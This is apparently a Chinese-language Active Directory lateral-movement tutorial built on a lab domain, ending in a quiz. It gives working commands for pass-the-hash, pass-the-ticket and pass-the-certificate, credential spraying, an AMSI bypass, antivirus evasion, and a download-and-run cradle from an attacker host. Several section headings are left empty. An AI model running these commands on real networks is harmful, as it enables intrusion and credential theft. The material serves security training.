現在我們已經有了各種憑證(NT Hash, 明文密碼, Kerberos 票證),接下來學習如何使用這些憑證進行橫向移動。
工具 | 協定 | 上傳檔案 | 建立服務 | 痕跡 | 繞過 AV | 速度 | 推薦度 |
---|---|---|---|---|---|---|---|
PsExec | SMB | ✅ | ✅ | 高 | ❌ | 快 | 🟡 低 |
WmiExec | WMI/DCOM | ❌ | ❌ | 中 | ✅ | 快 | 🟢 高 |
SmbExec | SMB | ✅ | ✅ | 中 | ✅ | 快 | 🟢 高 |
AtExec | SMB/Task | ❌ | Task | 中 | ✅ | 慢 | 🟡 中 |
DcomExec | DCOM | ❌ | ❌ | 低 | ✅ | 快 | 🟢 高 |
Evil-WinRM | WinRM | ❌ | ❌ | 中 | ✅ | 快 | 🟢 極高 |
RDP (PTH) | RDP | ❌ | ❌ | 高 | N/A | 快 | 🟡 低 |
原理:
攻擊流程
├── 1. 連接 ADMIN$ 共享
├── 2. 上傳可執行檔 (預設: PSEXESVC.exe)
├── 3. 建立並啟動服務
├── 4. 透過具名管道通訊
└── 5. 清理服務和檔案
使用方式:
# 使用 NT Hash
psexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
NORTH/catelyn.stark@192.168.139.11
# 使用明文密碼
psexec.py NORTH/catelyn.stark:'robbsansabradonaryarickon'@192.168.139.11
防毒問題:
PsExec 的 PSEXESVC.exe
已被所有防毒軟體列入黑名單。
解決方案: 自訂服務執行檔
# 步驟 1: 準備自訂可執行檔
# 可以是任何能接收命令的服務程式
# 範例: 修改 RemCom、使用自己編譯的服務
# 步驟 2: 使用 -file 選項
psexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
NORTH/catelyn.stark@192.168.139.11 \
-file /path/to/custom_service.exe
偵測特徵:
\\.\pipe\PSEXESVC
具名管道建立何時使用:
原理:
攻擊流程
├── 1. 透過 WMI 呼叫 Win32_Process.Create()
├── 2. 執行命令
├── 3. 輸出寫入臨時檔案 (ADMIN$)
├── 4. 透過 SMB 讀取輸出
└── 5. 刪除臨時檔案
使用方式:
# 使用 NT Hash
wmiexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
NORTH/catelyn.stark@192.168.139.11
# 使用明文密碼
wmiexec.py NORTH/catelyn.stark:'robbsansabradonaryarickon'@192.168.139.11
優勢:
劣勢:
偵測特徵:
何時使用:
原理:
攻擊流程
├── 1. 建立批次檔在 ADMIN$
├── 2. 使用 Windows 服務執行批次檔
│ └── 每個命令建立臨時服務
├── 3. 輸出重定向到共享資料夾
├── 4. 讀取並清理輸出
└── 5. 刪除服務
使用方式:
# 基本用法
smbexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
NORTH/catelyn.stark@192.168.139.11
進階: 使用自己的 SMB 伺服器接收輸出
# 在攻擊機啟動 SMB 伺服器
impacket-smbserver share . -smb2support
# 使用 -mode SERVER 讓輸出回傳到我們的伺服器
smbexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
NORTH/catelyn.stark@192.168.139.11 \
-mode SERVER
優勢:
劣勢:
偵測特徵:
何時使用:
原理:
攻擊流程
├── 1. 使用 Task Scheduler (計劃任務) 執行命令
├── 2. 建立一次性計劃任務
├── 3. 立即執行
└── 4. 刪除任務
使用方式:
# 執行單一命令
atexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
NORTH/catelyn.stark@192.168.139.11 \
"whoami"
# 執行 PowerShell
atexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
NORTH/catelyn.stark@192.168.139.11 \
"powershell -enc <base64_payload>"
⚠️ 已知問題: STATUS_OBJECT_NAME_NOT_FOUND
AtExec 有時會遇到這個錯誤:
[-] SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND
解決方案:
優勢:
劣勢:
偵測特徵:
何時使用:
原理:
攻擊流程
├── 1. 透過 DCOM (Distributed Component Object Model) 執行
├── 2. 使用 Windows 內建 COM 物件
│ ├── MMC20.Application
│ ├── ShellWindows
│ └── ShellBrowserWindow
├── 3. 輸出寫入檔案
└── 4. 透過 SMB 讀取
使用方式:
# 基本用法
dcomexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
NORTH/catelyn.stark@192.168.139.11
# 指定 DCOM 物件
dcomexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
NORTH/catelyn.stark@192.168.139.11 \
-object MMC20
可用的 DCOM 物件:
物件 | CLSID | 說明 |
---|---|---|
MMC20.Application | - | MMC 管理控制台 |
ShellWindows | 9BA05972-F6A8-11CF-A442-00A0C90A8F39 | Explorer Shell |
ShellBrowserWindow | - | Explorer 瀏覽器 |
優勢:
劣勢:
偵測特徵:
何時使用:
WinRM 是什麼?
Windows Remote Management (WinRM) 是微軟實現的 WS-Management 協定,用於遠端管理 Windows 機器。
特性:
Evil-WinRM 安裝:
# 安裝
sudo gem install evil-winrm
# 確認安裝
evil-winrm --help
使用方式:
# 使用 NT Hash
evil-winrm -i 192.168.139.11 \
-u catelyn.stark \
-H 'cba36eccfd9d949c73bc73715364aff5'
# 使用明文密碼
evil-winrm -i 192.168.139.11 \
-u catelyn.stark \
-p 'robbsansabradonaryarickon'
成功後:
Evil-WinRM shell v3.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\catelyn.stark\Documents>
Evil-WinRM 強大功能:
# 上傳檔案
*Evil-WinRM* PS > upload /local/path/tool.exe C:\temp\tool.exe
# 下載檔案
*Evil-WinRM* PS > download C:\temp\results.txt /local/path/results.txt
# 載入 PowerView
*Evil-WinRM* PS > Import-Module .\PowerView.ps1
# 直接從 HTTP 載入
*Evil-WinRM* PS > IEX(New-Object Net.WebClient).DownloadString('http://192.168.139.136/PowerView.ps1')
# 查看功能選單
*Evil-WinRM* PS > menu
# 列舉服務
*Evil-WinRM* PS > services
# Bypass AMSI
*Evil-WinRM* PS > Bypass-4MSI
優勢:
劣勢:
偵測特徵:
何時使用:
挑戰: RDP 預設不支援 PTH
如果直接嘗試 PTH + RDP:
xfreerdp /u:catelyn.stark \
/d:north.sevenkingdoms.local \
/pth:cba36eccfd9d949c73bc73715364aff5 \
/v:192.168.139.11
錯誤:
[ERROR] Account Restrictions are preventing this user from signing in.
原因:
RDP 需要知道明文密碼或者啟用 Restricted Admin Mode。
什麼是 Restricted Admin Mode?
檢查目前狀態:
# 查詢註冊表值
reg.py NORTH/catelyn.stark@192.168.139.11 \
-hashes ':cba36eccfd9d949c73bc73715364aff5' \
query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa'
輸出:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
...
(沒有 DisableRestrictedAdmin 值 = 預設禁用)
啟用 Restricted Admin:
# 建立註冊表值
reg.py NORTH/catelyn.stark@192.168.139.11 \
-hashes ':cba36eccfd9d949c73bc73715364aff5' \
add \
-keyName 'HKLM\System\CurrentControlSet\Control\Lsa' \
-v 'DisableRestrictedAdmin' \
-vt 'REG_DWORD' \
-vd '0'
成功輸出:
[+] Key successfully created
現在重試 RDP:
xfreerdp3 /u:catelyn.stark \
/d:north.sevenkingdoms.local \
/pth:cba36eccfd9d949c73bc73715364aff5 \
/v:192.168.139.11 \
/cert:ignore
成功! RDP 連線建立!
使用完畢後清理:
# 刪除註冊表值
reg.py NORTH/catelyn.stark@192.168.139.11 \
-hashes ':cba36eccfd9d949c73bc73715364aff5' \
delete \
-keyName 'HKLM\System\CurrentControlSet\Control\Lsa' \
-v 'DisableRestrictedAdmin'
優勢:
劣勢:
偵測特徵:
何時使用:
CrackMapExec (CME) 是批次橫向移動的利器,可以同時測試多台機器。
語法結構:
crackmapexec <protocol> <targets> <authentication> <action>
基本認證測試:
# 使用 NT Hash 測試多台機器
crackmapexec smb 192.168.139.10-23 \
-u catelyn.stark \
-H 'cba36eccfd9d949c73bc73715364aff5' \
-d north.sevenkingdoms.local
輸出解讀:
SMB 192.168.139.11 445 WINTERFELL [+] north.sevenkingdoms.local\catelyn.stark:cba36eccfd9d949c73bc73715364aff5 (Pwn3d!)
SMB 192.168.139.22 445 CASTELBLACK [+] north.sevenkingdoms.local\catelyn.stark:cba36eccfd9d949c73bc73715364aff5 (Pwn3d!)
SMB 192.168.139.10 445 KINGSLANDING [-] sevenkingdoms.local\catelyn.stark:cba36eccfd9d949c73bc73715364aff5
標記說明:
[+]
: 認證成功(Pwn3d!)
: 擁有管理員權限[-]
: 認證失敗預設使用 WmiExec 方法:
# 執行單一命令
crackmapexec smb 192.168.139.11 \
-u catelyn.stark \
-H ':cba36eccfd9d949c73bc73715364aff5' \
-d north \
-x "whoami"
輸出:
SMB 192.168.139.11 445 WINTERFELL [+] north\catelyn.stark:cba36eccfd9d949c73bc73715364aff5 (Pwn3d!)
SMB 192.168.139.11 445 WINTERFELL [+] Executed command
SMB 192.168.139.11 445 WINTERFELL north\catelyn.stark
CME 有大量內建模組:
# 列出所有模組
crackmapexec smb -L
# 使用特定模組
crackmapexec smb 192.168.139.11 \
-u catelyn.stark \
-H ':cba36eccfd9d949c73bc73715364aff5' \
-d north \
-M spider_plus
常用模組:
模組 | 功能 | 用途 |
---|---|---|
spider_plus | 搜尋共享資料夾中的敏感檔案 | 資料收集 |
lsassy | 傾印 LSASS | 憑證提取 |
mimikatz | 執行 Mimikatz | 憑證提取 |
enum_avproducts | 枚舉防毒軟體 | 偵察 |
met_inject | Metasploit payload 注入 | 後滲透 |
1. 使用憑證檔案批次測試:
# 建立使用者列表
cat > users.txt << EOF
Administrator
catelyn.stark
eddard.stark
robb.stark
EOF
# 建立密碼列表
cat > passwords.txt << EOF
Password123
Winter2023
robbsansabradonaryarickon
EOF
# 批次測試
crackmapexec smb 192.168.139.10-23 \
-u users.txt \
-p passwords.txt \
--no-bruteforce
2. 使用資料庫儲存結果:
# CME 自動儲存結果到資料庫
# 位置: ~/.cme/workspaces/default/smb.db
# 查看資料庫內容
cmedb
# 在 cmedb 中查詢
cmedb> hosts
cmedb> creds
cmedb> shares
3. 組合多種協定:
# 測試 SMB
crackmapexec smb 192.168.139.11 -u catelyn.stark -H ':hash'
# 測試 WinRM
crackmapexec winrm 192.168.139.11 -u catelyn.stark -H ':hash'
# 測試 RDP
crackmapexec rdp 192.168.139.11 -u catelyn.stark -H ':hash'
# 測試 MSSQL
crackmapexec mssql 192.168.139.22 -u sql_svc -p 'password'
有時候目標環境禁用了 NTLM,只允許 Kerberos 認證。此時我們可以使用 NT Hash 來獲取 Kerberos TGT。
步驟 1: 使用 NT Hash 獲取 TGT
# 使用 getTGT.py
getTGT.py -hashes ':cba36eccfd9d949c73bc73715364aff5' \
north.sevenkingdoms.local/catelyn.stark
輸出:
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in catelyn.stark.ccache
步驟 2: 設定環境變數
# 設定 Kerberos 票證位置
export KRB5CCNAME=catelyn.stark.ccache
# 驗證票證
klist
輸出:
Ticket cache: FILE:/workspace/tgt/catelyn.stark.ccache
Default principal: catelyn.stark@NORTH.SEVENKINGDOMS.LOCAL
Valid starting Expires Service principal
12/01/24 14:30:22 12/02/24 00:30:22 krbtgt/NORTH.SEVENKINGDOMS.LOCAL@NORTH.SEVENKINGDOMS.LOCAL
步驟 3: 使用票證進行橫向移動
# 使用 -k (Kerberos) 和 -no-pass 選項
wmiexec.py -k -no-pass \
north.sevenkingdoms.local/catelyn.stark@winterfell.north.sevenkingdoms.local
重要: 使用 FQDN
注意必須使用完整的 FQDN (Fully Qualified Domain Name):
winterfell.north.sevenkingdoms.local
winterfell
(會失敗)192.168.139.11
(會失敗)為什麼?
Kerberos 服務票證是基於 SPN (Service Principal Name) 的,SPN 包含完整的主機名稱。
還記得我們用 lsassy 傾印 LSASS 時獲得的 .kirbi
票證檔案嗎?
步驟 1: 轉換票證格式
# .kirbi (Windows) → .ccache (Linux)
ticketConverter.py catelyn.stark.kirbi catelyn.stark.ccache
步驟 2: 使用轉換後的票證
export KRB5CCNAME=/workspace/catelyn.stark.ccache
wmiexec.py -k -no-pass \
north.sevenkingdoms.local/catelyn.stark@winterfell.north.sevenkingdoms.local
特性 | PTH (NTLM) | PTT (Kerberos) |
---|---|---|
需要 Hash | ✅ | ❌ |
需要票證 | ❌ | ✅ |
NTLM 禁用環境 | ❌ | ✅ |
產生 4768 事件 | ❌ | ✅ (但看起來正常) |
隱蔽性 | 中 | 高 |
時間限制 | 無 | 有 (票證有效期) |
何時使用 PTT:
在 Day 12-14 我們學習了 ADCS 攻擊,現在來看如何使用憑證進行橫向移動。
# 使用 ESC1 弱點申請管理員憑證
certipy req -u khal.drogo@essos.local -p 'horse' \
-target braavos.essos.local \
-template ESC1 \
-ca ESSOS-CA \
-upn administrator@essos.local
獲得:
administrator.pfx
(PKCS#12 憑證檔案)certipy auth 提供兩種方式:
方式 1: 獲取 NT Hash 和 TGT
certipy auth -pfx administrator.pfx -dc-ip 192.168.139.12
輸出:
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@essos.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@essos.local': aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da
獲得:
54296a48cd30259cc88095373cec24da
administrator.ccache
方式 2: 直接獲取 LDAP Shell
certipy auth -pfx administrator.pfx \
-dc-ip 192.168.139.12 \
-ldap-shell
進入互動式 LDAP Shell:
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Authenticated to 'essos.local' as: ESSOS\Administrator
Type help for list of commands
# add_user newadmin
# add_user_to_group newadmin "Domain Admins"
# set_user_pass admin NewPassword123!
# dump
使用 NT Hash (Pass-the-Hash):
# WmiExec
wmiexec.py -hashes ':54296a48cd30259cc88095373cec24da' \
administrator@192.168.139.12
# Evil-WinRM
evil-winrm -i 192.168.139.12 \
-u administrator \
-H '54296a48cd30259cc88095373cec24da'
# PsExec
psexec.py -hashes ':54296a48cd30259cc88095373cec24da' \
administrator@192.168.139.12
使用 TGT (Pass-the-Ticket):
# 設定票證
export KRB5CCNAME=administrator.ccache
# 使用 Kerberos 認證
wmiexec.py -k -no-pass \
essos.local/administrator@meereen.essos.local
特性 | PTH | PTT | PTC |
---|---|---|---|
需要 Hash | ✅ | ❌ | ❌ |
需要票證 | ❌ | ✅ | ❌ |
需要憑證 | ❌ | ❌ | ✅ |
有效期 | 永久 (直到密碼更改) | 短 (預設 10 小時) | 長 (預設 1 年) |
krbtgt 重置影響 | ❌ | ✅ | ❌ |
密碼更改影響 | ✅ | ✅ | ❌ |
隱蔽性 | 中 | 高 | 極高 |
Pass-the-Certificate 的殺手鐧:
✅ 不受密碼更改影響 - 即使管理員更改密碼,憑證仍然有效
✅ 不受 krbtgt 重置影響 - Golden Ticket 會失效,但憑證不會
✅ 長期有效 - 憑證通常有效期 1 年或更長
✅ 極難偵測 - 看起來像正常的憑證認證
何時使用 PTC:
面對不同環境,如何選擇最佳的橫向移動技術?
┌─ 需要橫向移動 ─┐
│ │
├─ 有什麼憑證? │
│ ├─ 明文密碼 │ → 使用任何方法
│ ├─ NT Hash │ → PTH (PsExec/WmiExec/Evil-WinRM)
│ ├─ Kerberos票證 │ → PTT (需要 FQDN)
│ └─ ADCS憑證 │ → PTC (獲取 Hash 或 TGT)
│ │
├─ 環境限制? │
│ ├─ 禁用NTLM │ → 必須用 PTT/PTC
│ ├─ 有EDR/AV │ → WmiExec/DcomExec/Evil-WinRM
│ ├─ WinRM啟用 │ → Evil-WinRM (首選)
│ └─ 只有SMB │ → WmiExec/SmbExec
│ │
├─ 需要什麼功能? │
│ ├─ 互動式Shell │ → Evil-WinRM/PsExec
│ ├─ 執行單一命令 │ → WmiExec/AtExec/CME
│ ├─ 檔案傳輸 │ → Evil-WinRM
│ ├─ GUI存取 │ → RDP (需要啟用Restricted Admin)
│ └─ 批次多台 │ → CrackMapExec
│ │
└─ 隱蔽性需求? │
├─ 高隱蔽 │ → DcomExec/WmiExec/PTT
├─ 中等 │ → SmbExec/Evil-WinRM
└─ 不在意 │ → PsExec/RDP
Q1: 下列哪個 Hash 類型可以直接用於 Pass-the-Hash 攻擊?
A. DCC2 Hash
B. NetNTLMv2 Hash
C. NT Hash
D. LM Hash (在現代系統)
答案: C
Q2: 使用 lsassy 傾印 LSASS 時,最可能觸發的防禦機制是?
A. 防火牆
B. 防毒軟體
C. IDS
D. Web Application Firewall
答案: B
lsassy 傾印 LSASS 程序記憶體幾乎一定會觸發防毒軟體。這是為什麼需要使用 dumpert 等繞過技術的原因。
Q3: 下列哪種橫向移動技術最隱蔽?
A. PsExec
B. WmiExec
C. DcomExec
D. RDP with PTH
答案: C
隱蔽性排名:
Q4: Pass-the-Certificate 相比 Pass-the-Hash 的主要優勢是?
A. 執行速度更快
B. 不受密碼更改影響
C. 不需要任何權限
D. 可以在離線環境使用
答案: B
Pass-the-Certificate 的最大優勢:
這使它成為最佳的持久化方法之一。
Q5: 使用 Pass-the-Ticket 時必須使用 FQDN 而非 IP 的原因是?
A. DNS 解析需要
B. Kerberos SPN 基於主機名稱
C. 防火牆規則限制
D. 安全策略要求
答案: B
Kerberos 服務票證 (TGS) 是基於 SPN (Service Principal Name) 的,SPN 格式為:
SERVICE/host.domain.local
如果使用 IP,Kerberos 無法產生或驗證正確的 SPN,導致認證失敗。